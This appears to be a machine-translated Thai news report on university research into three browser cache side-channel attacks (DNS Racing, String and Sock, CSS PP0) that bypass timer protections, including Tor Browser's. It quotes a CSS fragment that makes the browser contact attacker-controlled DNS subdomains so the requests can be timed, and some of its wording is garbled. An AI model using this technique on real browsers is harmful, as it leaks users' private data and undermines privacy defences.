การโจมตีด้วยการแยกแคชของ CPU ที่นำไปใช้ในเว็บเบราว์เซอร์ที่ไม่มี JavaScript

ทีมนักวิจัยจากมหาวิทยาลัยในอเมริกา อิสราเอล และออสเตรเลียหลายแห่งได้พัฒนาการโจมตีสามครั้งที่ทำงานบนเว็บเบราว์เซอร์เพื่อดึงข้อมูลเกี่ยวกับเนื้อหาของแคชของโปรเซสเซอร์ วิธีหนึ่งใช้ได้กับเบราว์เซอร์ที่ไม่มี JavaScript และอีกสองวิธีเลี่ยงผ่านวิธีการป้องกันที่มีอยู่จากการโจมตีช่องทางด้านข้าง รวมถึงวิธีที่ใช้ในเบราว์เซอร์ของ Tor และ DeterFox รหัสสำหรับสาธิตการโจมตี รวมถึงส่วนประกอบเซิร์ฟเวอร์ที่จำเป็นสำหรับการโจมตี ได้รับการเผยแพร่บน GitHub

ในการวิเคราะห์เนื้อหาของแคช การโจมตีทั้งหมดจะใช้วิธี Prime+Probe ซึ่งเกี่ยวข้องกับการเติมแคชด้วยชุดค่ามาตรฐานและการตรวจจับการเปลี่ยนแปลงโดยการวัดเวลาในการเข้าถึงเมื่อทำการเติมใหม่ เพื่อเลี่ยงกลไกความปลอดภัยที่มีอยู่ในเบราว์เซอร์ที่รบกวนการวัดเวลาที่แม่นยำ ในสองตัวเลือก จะมีการอุทธรณ์ไปยังเซิร์ฟเวอร์ DNS หรือ WebSocket ที่ควบคุมโดยผู้โจมตี ซึ่งจะเก็บบันทึกเวลาของคำขอที่ได้รับ ในรูปลักษณ์หนึ่ง เวลาตอบสนอง DNS แบบคงที่ถูกใช้เป็นการอ้างอิงเวลา

การวัดที่ทำโดยใช้เซิร์ฟเวอร์ DNS ภายนอกหรือ WebSocket โดยใช้ระบบการจำแนกตามการเรียนรู้ของเครื่องนั้นเพียงพอที่จะทำนายค่าด้วยความแม่นยำสูงสุด 98% ในสถานการณ์ที่เหมาะสมที่สุด (เฉลี่ย 80-90%) วิธีการโจมตีได้รับการทดสอบบนแพลตฟอร์มฮาร์ดแวร์ต่างๆ (Intel, AMD Ryzen, Apple M1, Samsung Exynos) และได้รับการพิสูจน์แล้วว่าเป็นสากล

การโจมตีด้วยการแยกแคชของ CPU ที่นำไปใช้ในเว็บเบราว์เซอร์ที่ไม่มี JavaScript

การโจมตี DNS Racing เวอร์ชันแรกใช้วิธี Prime+Probe แบบคลาสสิกโดยใช้อาร์เรย์ JavaScript ความแตกต่างอยู่ที่การใช้ตัวจับเวลาที่ใช้ DNS ภายนอกและตัวจัดการ onerror ซึ่งจะถูกทริกเกอร์เมื่อมีการพยายามโหลดรูปภาพจากโดเมนที่ไม่มีอยู่จริง ตัวจับเวลาภายนอกช่วยให้สามารถโจมตี Prime+Probe บนเบราว์เซอร์ที่จำกัดหรือปิดการเข้าถึงตัวจับเวลา JavaScript โดยสิ้นเชิง

สำหรับเซิร์ฟเวอร์ DNS ที่อยู่บนเครือข่ายอีเธอร์เน็ตเดียวกัน ความแม่นยำของตัวจับเวลาจะอยู่ที่ประมาณ 2 มิลลิวินาที ซึ่งเพียงพอสำหรับการโจมตีช่องทางด้านข้าง (สำหรับการเปรียบเทียบ ความแม่นยำของตัวจับเวลา JavaScript มาตรฐานใน Tor Browser คือ ลดลงเหลือ 100 มิลลิวินาที) สำหรับการโจมตี ไม่จำเป็นต้องควบคุมเซิร์ฟเวอร์ DNS เนื่องจากเวลาดำเนินการของการดำเนินการถูกเลือกเพื่อให้เวลาตอบสนองจาก DNS ทำหน้าที่เป็นสัญญาณบ่งชี้ว่าการตรวจสอบเสร็จสมบูรณ์ก่อนหน้านี้ (ขึ้นอยู่กับว่าตัวจัดการ onerror ถูกทริกเกอร์หรือไม่ ไม่ช้าก็เร็วจะมีการสรุปข้อสรุปเกี่ยวกับความเร็วของการดำเนินการตรวจสอบด้วยแคช)

วิธีการโจมตีที่สอง "String and Sock" มีจุดมุ่งหมายเพื่อหลีกเลี่ยงเทคนิคความปลอดภัยที่จำกัดการใช้อาร์เรย์ในระดับต่ำใน JavaScript แทนที่จะใช้อาร์เรย์ String และ Sock จะใช้การดำเนินการกับสตริงที่มีขนาดใหญ่มาก ซึ่งมีขนาดที่เลือกไว้เพื่อให้ตัวแปรครอบคลุมแคช LLC ทั้งหมด (แคชระดับสุดท้าย) จากนั้น เมื่อใช้ฟังก์ชัน indexOf() สตริงย่อยขนาดเล็กจะถูกค้นหาในสตริง ซึ่งในตอนแรกไม่มีอยู่ในสตริงต้นทาง เช่น การดำเนินการค้นหาส่งผลให้เกิดการวนซ้ำทั้งสตริง เนื่องจากขนาดเส้นสอดคล้องกับขนาดของแคช LLC การสแกนจึงทำให้คุณสามารถดำเนินการตรวจสอบแคชโดยไม่ต้องจัดการกับอาร์เรย์ ในการวัดความล่าช้า แทนที่จะใช้ DNS จะมีการเรียกไปยังเซิร์ฟเวอร์ WebSocket ที่ควบคุมโดยผู้โจมตี - ก่อนและหลังการดำเนินการค้นหาเสร็จสิ้น ข้อความค้นหาจะถูกส่งในบรรทัด ขึ้นอยู่กับว่าเซิร์ฟเวอร์จะคำนวณความล่าช้าที่ใช้ในการวิเคราะห์แคช เนื้อหา

การโจมตีรูปแบบที่สาม “CSS PP0” ดำเนินการผ่าน HTML และ CSS และสามารถทำงานในเบราว์เซอร์ที่ปิดใช้งาน JavaScript ได้ วิธีการนี้คล้ายกับ "String and Sock" แต่ไม่เชื่อมโยงกับ JavaScript ในระหว่างการโจมตี ชุดตัวเลือก CSS จะถูกสร้างขึ้นโดยค้นหาด้วยมาสก์ สตริงขนาดใหญ่เริ่มต้นที่เติมแคชถูกกำหนดโดยการสร้างแท็ก div ด้วยชื่อคลาสที่มีขนาดใหญ่มาก ข้างในมีชุดของ div อื่นๆ ที่มีตัวระบุของตัวเอง div ที่ซ้อนกันแต่ละรายการเหล่านี้มีสไตล์เป็นของตัวเองพร้อมตัวเลือกที่จะค้นหาสตริงย่อย เมื่อแสดงผลหน้าเว็บ เบราว์เซอร์จะพยายามประมวลผล div ภายในก่อน ซึ่งส่งผลให้เกิดการดำเนินการค้นหาในแถวขนาดใหญ่ การค้นหาดำเนินการโดยใช้มาสก์ที่หายไปโดยเจตนา และนำไปสู่การวนซ้ำทั้งบรรทัด หลังจากนั้นเงื่อนไข "ไม่" จะถูกทริกเกอร์ และมีความพยายามที่จะโหลดภาพพื้นหลังที่อ้างอิงถึงโดเมนแบบสุ่ม: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … เอ็กซ์ เอ็กซ์ ...

โดเมนย่อยให้บริการโดยเซิร์ฟเวอร์ DNS ของผู้โจมตี ซึ่งสามารถวัดความล่าช้าในการรับคำขอได้ เซิร์ฟเวอร์ DNS จะออก NXDOMAIN สำหรับคำขอทั้งหมดและเก็บบันทึกเวลาที่แน่นอนของคำขอ ผลจากการประมวลผลชุด div ทำให้เซิร์ฟเวอร์ DNS ของผู้โจมตีได้รับชุดคำขอ ความล่าช้าซึ่งสัมพันธ์กับผลลัพธ์ของการตรวจสอบเนื้อหาแคช

การโจมตีด้วยการแยกแคชของ CPU ที่นำไปใช้ในเว็บเบราว์เซอร์ที่ไม่มี JavaScript


ที่มา: opennet.ru

เพิ่มความคิดเห็น